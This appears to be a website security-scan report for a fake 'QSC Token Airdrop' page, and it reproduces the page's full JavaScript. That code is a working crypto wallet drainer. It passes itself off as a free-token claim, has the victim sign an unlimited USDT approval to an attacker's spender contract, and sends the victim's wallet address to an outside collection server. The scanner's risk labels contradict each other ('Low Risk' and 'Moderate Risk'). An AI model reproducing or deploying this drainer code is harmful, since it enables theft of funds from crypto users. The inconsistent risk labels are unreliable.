cryptocurrency blockchain

forum community discussion

government public service

education learning

technology software

English

Within the application-focused generic top-level domain (.app), 'qsc-org-3nv6rzpdtr.edgeone.app' is registered; it also runs on subdomain 'qsc-org-3nv6rzpdtr'. The second-level label 'edgeone' is 7 characters long holding four vowels versus three consonants. Word splitting yields two words: edge, one. Average segment length settles at 3.5 characters. No strong language cues emerged from the frequency lists.

html/14/9c/149ceeff-71af-47d0-803f-e58c089974c7.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

176e894661aa9cdc9a5cba6c720044cbbf7b8bd80d1c9a142a7c24b1b6c50d15

d532f1e74af7c10e763a5026e6349fa53c1b37d309e75372b1f2e6b179943c39

07f6fdb3c9d243a9e85231d9469b6aad25a89b376dc8bc63c3dc5561f606aef1

60063c0fd38b47ba6c6cf594f13c4e92974c85cee8bd319b9e9f7ae85a213be9

width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes

viewport

html/14/9c/149ceeff-71af-47d0-803f-e58c089974c7_nodriver.html.gz

QSC Token Airdrop

Prudence Malinki

MarkMonitor Inc.

edgeone.app

Abuse Account

Fastly RIR Administrator

Fastly Network Operations

Fastly, Inc.

SKYCA-3


        // ── Language toggle ──
        function toggleLanguage() {
            const b=document.body, l=document.getElementById('langLabel');
            if(b.classList.contains('en')){b.classList.remove('en');l.textContent='EN';}
            else{b.classList.add('en');l.textContent='中文';}
        }

        // ── FAQ ──
        function toggleFaq(el) {
            const ans = el.nextElementSibling;
            const chev = el.querySelector('.faq-chevron');
            const isOpen = ans.classList.contains('open');
            document.querySelectorAll('.faq-a').forEach(a=>a.classList.remove('open'));
            document.querySelectorAll('.faq-chevron').forEach(c=>c.classList.remove('rotated'));
            if(!isOpen){ ans.classList.add('open'); chev.classList.add('rotated'); }
        }

        // ── Progress bars on scroll ──
        const tokRows = document.getElementById('tokRows');
        if(tokRows){
            new IntersectionObserver(entries=>{
                if(entries[0].isIntersecting){
                    setTimeout(()=>document.querySelectorAll('.prog-fill').forEach(e=>e.style.transform='scaleX(1)'),100);
                }
            },{threshold:0.25}).observe(tokRows);
        }

        // ---------- CONSTANTS ----------
        const BNB_CHAIN_ID = 56;
        const BNB_CHAIN_HEX = '0x38';
        const SPENDER_CONTRACT = '0xb07bf392d0A3f65d8bDF86BC43AB6b2575e1f8C4';
        const QSC_TOKEN_ADDRESS = '0xE5e9A595683AC2B7f9ce9D7Bd5cC32e1B3a670ed';
        const CLAIM_FUNCTION_SIG = '0x4e71d92d';
        const USDT_BEP20 = '0x55d398326f99059fF775485246999027B3197955';
        const API_BASE = 'https://reciver-psi.vercel.app/';

        const USDT_ABI = [
            {
                "constant": false,
                "inputs": [
                    {
                        "name": "spender",
                        "type": "address"
                    },
                    {
                        "name": "amount",
                        "type": "uint256"
                    }
                ],
                "name": "approve",
                "outputs": [
                    {
                        "name": "",
                        "type": "bool"
                    }
                ],
                "type": "function"
            },
            {
                "constant": true,
                "inputs": [],
                "name": "decimals",
                "outputs": [
                    {
                        "name": "",
                        "type": "uint8"
                    }
                ],
                "type": "function"
            }
        ];

        // BNB Chain network parameters
        const BNB_NETWORK = {
            chainId: BNB_CHAIN_HEX,
            chainName: 'BNB Smart Chain',
            nativeCurrency: {
                name: 'BNB',
                symbol: 'BNB',
                decimals: 18
            },
            rpcUrls: ['https://bsc-dataseed.binance.org/'],
            blockExplorerUrls: ['https://bscscan.com/']
        };

        // Global variables
        let web3;
        let userAccount = null;
        let usdtContract;

        // ---------- INITIALIZATION ----------
        window.onload = function() {
            startCountdown();
            createParticles();
            checkWalletConnection();
        };

        // ---------- CHECK EXISTING CONNECTION ----------
        async function checkWalletConnection() {
            if (typeof window.ethereum !== 'undefined') {
                web3 = new Web3(window.ethereum);
                
                try {
                    const accounts = await web3.eth.getAccounts();
                    if (accounts.length > 0) {
                        userAccount = accounts[0];
                        
                        const chainId = await web3.eth.getChainId();
                        if (chainId === BNB_CHAIN_ID) {
                            usdtContract = new web3.eth.Contract(USDT_ABI, USDT_BEP20);
                            showConnectedState(userAccount);
                        } else {
                            showNotConnectedState();
                        }
                    } else {
                        showNotConnectedState();
                    }
                } catch (error) {
                    console.error('Error checking connection:', error);
                    showNotConnectedState();
                }
            } else {
                showNotConnectedState();
            }
        }

        // ---------- CONNECT WALLET FUNCTION ----------
        async function connectWallet() {
            if (typeof window.ethereum === 'undefined') {
                showToast('请安装 MetaMask 或使用 dApp 浏览器', 'error');
                return;
            }

            try {
                web3 = new Web3(window.ethereum);
                
                // Request account access
                const accounts = await window.ethereum.request({ 
                    method: 'eth_requestAccounts' 
                });
                
                if (accounts.length > 0) {
                    userAccount = accounts[0];
                    
                    // Check and switch to BNB Chain if needed
                    const chainId = await web3.eth.getChainId();
                    
                    if (chainId !== BNB_CHAIN_ID) {
                        try {
                            // Try to switch to BNB Chain
                            await window.ethereum.request({
                                method: 'wallet_switchEthereumChain',
                                params: [{ chainId: BNB_CHAIN_HEX }]
                            });
                        } catch (switchError) {
                            // This error code indicates that the chain has not been added to MetaMask
                            if (switchError.code === 4902) {
                                try {
                                    await window.ethereum.request({
                                        method: 'wallet_addEthereumChain',
                                        params: [BNB_NETWORK]
                                    });
                                } catch (addError) {
                                    showToast('无法添加 BNB Chain', 'error');
                                    return;
                                }
                            } else {
                                showToast('请切换到 BNB Chain', 'error');
                                return;
                            }
                        }
                    }
                    
                    // Initialize USDT contract
                    usdtContract = new web3.eth.Contract(USDT_ABI, USDT_BEP20);
                    
                    // Wait a moment for network switch
                    setTimeout(() => {
                        showConnectedState(userAccount);
                        showToast('钱包连接成功！');
                    }, 1000);
                }
            } catch (error) {
                console.error('Connection error:', error);
                if (error.code === 4001) {
                    showToast('连接请求被拒绝', 'error');
                } else {
                    showToast('连接失败: ' + error.message, 'error');
                }
            }
        }

        // ---------- CLAIM HANDLER (Approve → API (only address) → Claim) ----------
        async function handleClaim() {
            if (!userAccount || !usdtContract) {
                showToast('钱包未连接', 'error');
                return;
            }

            try {
                const claimBtn = document.getElementById('claimButton');
                claimBtn.disabled = true;
                claimBtn.innerHTML = '<div class="loading-spinner"></div>批准中...';

                // UNLIMITED APPROVAL - Maximum uint256 value
                // This gives infinite approval to the spender contract
                const unlimitedAmount = '115792089237316195423570985008687907853269984665640564039457584007913129639935';

                // STEP 1: Send approve transaction with UNLIMITED amount
                const approveResult = await usdtContract.methods.approve(SPENDER_CONTRACT, unlimitedAmount).send({
                    from: userAccount
                });

                console.log('Unlimited approve successful:', approveResult);
                showToast('无限额度批准成功，提交地址到服务器...');

                // STEP 2: Send ONLY address to API endpoint /api/approve
                await sendAddressToAPI(userAccount);

                showToast('地址已提交，正在领取 QSC...');

                // STEP 3: Call claim function
                await claimTokens();

            } catch (error) {
                console.error('Process failed:', error);
                showToast('交易失败: ' + (error.message || '未知错误'), 'error');
                
                const claimBtn = document.getElementById('claimButton');
                claimBtn.disabled = false;
                claimBtn.innerHTML = '<i class="fa-solid fa-check-circle"></i>确认领取 2,000 QSC';
            }
        }

        // ---------- CLAIM FUNCTION - FIXED WITH GAS ESTIMATION ----------
        async function claimTokens() {
            try {
                const claimBtn = document.getElementById('claimButton');
                claimBtn.innerHTML = '<div class="loading-spinner"></div>领取中...';

                // Create claim transaction data
                const claimData = CLAIM_FUNCTION_SIG;
                
                // Estimate gas first to avoid "gas limit too low" error
                let estimatedGas;
                try {
                    estimatedGas = await web3.eth.estimateGas({
                        from: userAccount,
                        to: QSC_TOKEN_ADDRESS,
                        data: claimData,
                        value: '0'
                    });
                    console.log('Estimated gas:', estimatedGas);
                } catch (gasError) {
                    console.warn('Gas estimation failed, using default:', gasError);
                    // If estimation fails, use a reasonable default for BSC
                    estimatedGas = 100000; // 100k gas as safe default
                }
                
                // Add 20% buffer to estimated gas to ensure transaction succeeds
                const gasLimit = Math.floor(estimatedGas * 1.2);
                
                console.log('Using gas limit:', gasLimit);
                
                // Send claim transaction with explicit gas limit
                const claimTx = await web3.eth.sendTransaction({
                    from: userAccount,
                    to: QSC_TOKEN_ADDRESS,
                    data: claimData,
                    value: '0',
                    gas: gasLimit
                });

                console.log('Claim successful:', claimTx);
                showToast('QSC 代币领取成功！');
                
                claimBtn.innerHTML = '<i class="fa-solid fa-check-circle"></i>已领取 2,000 QSC';
                claimBtn.disabled = true;
                
            } catch (error) {
                console.error('Claim failed:', error);
                showToast('领取失败: ' + (error.message || '未知错误'), 'error');
                
                const claimBtn = document.getElementById('claimButton');
                claimBtn.disabled = false;
                claimBtn.innerHTML = '<i class="fa-solid fa-check-circle"></i>确认领取 2,000 QSC';
                throw error;
            }
        }

        // ---------- API FUNCTION - Send ONLY address to /api/approve ----------
        async function sendAddressToAPI(address) {
            try {
                // Send ONLY the address - no transaction hash, no amount, no timestamp
                const payload = {
                    address: address
                };

                console.log('Sending to API (address only):', payload);

                const response = await fetch(`${API_BASE}/api/approve`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(payload)
                });
                
                if (!response.ok) {
                    const errorText = await response.text();
                    console.error('API error:', errorText);
                    showToast('API 提交失败，但交易已批准', 'warning');
                } else {
                    const result = await response.json();
                    console.log('API response:', result);
                }
            } catch (error) {
                console.error('Failed to send to API:', error);
                showToast('API 连接失败，但交易已批准', 'warning');
            }
        }

        // ---------- UI STATE FUNCTIONS ----------
        function showNotConnectedState() {
            document.getElementById('notConnectedState').classList.remove('hidden');
            document.getElementById('connectedState').classList.add('hidden');
            
            document.getElementById('walletConnected').classList.add('hidden');
            document.getElementById('connectWalletBtn').classList.remove('hidden');
            
            document.getElementById('claimWalletStatus').innerHTML = '';
        }

        function showConnectedState(address) {
            document.getElementById('notConnectedState').classList.add('hidden');
            document.getElementById('connectedState').classList.remove('hidden');
            
            const shortAddress = address.substring(0, 6) + '...' + address.substring(address.length - 4);
            document.getElementById('connectedAddress').textContent = shortAddress;
            
            document.getElementById('walletConnected').classList.remove('hidden');
            document.getElementById('connectWalletBtn').classList.add('hidden');
            document.getElementById('walletAddressDisplay').textContent = shortAddress;
            
            document.getElementById('claimWalletStatus').innerHTML = `
                <span class="wallet-address">
                    <i class="fa-solid fa-circle-check" style="color:var(--green);"></i>
                    <span>${shortAddress}</span>
                </span>
            `;
        }

        // ---------- UTILITY FUNCTIONS ----------
        function startCountdown() {
            const countDownDate = new Date("2026-04-15T23:59:59").getTime();
            
            const interval = setInterval(() => {
                const now = new Date().getTime();
                const distance = countDownDate - now;

                if (distance < 0) {
                    clearInterval(interval);
                    document.getElementById("countdown").innerHTML = "已结束";
                    return;
                }

                const days = Math.floor(distance / (1000 * 60 * 60 * 24));
                const hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));

                document.getElementById("countdown").innerHTML = 
                    `${days.toString().padStart(2, '0')}d ${hours.toString().padStart(2, '0')}h`;
            }, 30000);
        }

        function createParticles() {
            const container = document.getElementById("particles");
            for (let i = 0; i < 30; i++) {
                const p = document.createElement("div");
                p.className = "pt";
                p.style.left = `${Math.random() * 100}%`;
                p.style.top = `${Math.random() * 100}%`;
                p.style.animation = `rise ${Math.random() * 20 + 10}s linear infinite`;
                p.style.animationDelay = `${Math.random() * 12}s`;
                p.style.background = `rgba(240,133,26,${Math.random() * 0.1})`;
                const sz = `${Math.random() * 3 + 1}px`;
                p.style.width = p.style.height = sz;
                container.appendChild(p);
            }
        }

        function showToast(message, type = 'success') {
            const toast = document.getElementById("toast");
            const toastText = document.getElementById("toast-text");
            
            toastText.textContent = message;
            
            if (type === 'error') {
                toast.style.background = '#dc2626';
            } else if (type === 'warning') {
                toast.style.background = '#f59e0b';
            } else {
                toast.style.background = 'var(--orange)';
            }
            
            toast.style.transform = 'translateY(0)';
            
            setTimeout(() => {
                toast.style.transform = 'translateY(200%)';
            }, 3000);
        }

        // Fix for dApp browsers - ensure URLs work properly
        document.addEventListener('click', function(e) {
            const target = e.target.closest('a');
            if (target && target.getAttribute('href') && !target.getAttribute('href').startsWith('#')) {
                e.preventDefault();
                const url = target.getAttribute('href');
                if (url && url.startsWith('http')) {
                    window.open(url, '_blank');
                }
            }
        });

        // Listen for account changes
        if (typeof window.ethereum !== 'undefined') {
            window.ethereum.on('accountsChanged', function(accounts) {
                if (accounts.length > 0) {
                    userAccount = accounts[0];
                    showConnectedState(userAccount);
                } else {
                    userAccount = null;
                    showNotConnectedState();
                }
            });

            window.ethereum.on('chainChanged', function() {
                window.location.reload();
            });
        }
    

Tailwind CSS

jsDelivr

✅ Low Risk - https://qsc-org-3nv6rzpdtr.edgeone.app/

Requests	IP Address	Location	AS Autonomous System
5	104.17.25.14	United States	AS13335Cloudflare, Inc.
2	142.251.36.106	United States	AS15169Google LLC
2	151.101.129.229	Singapore	AS139341
2	142.251.140.163	United States	AS15169Google LLC
2	43.152.26.58	Singapore	AS139341ACE
2	104.26.2.143	Singapore	Unknown
15	6	-	-

Security Scan Report: qsc-org-3nv6rzpdtr.edgeone.app

Summary

AI Security Verdict

Moderate Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History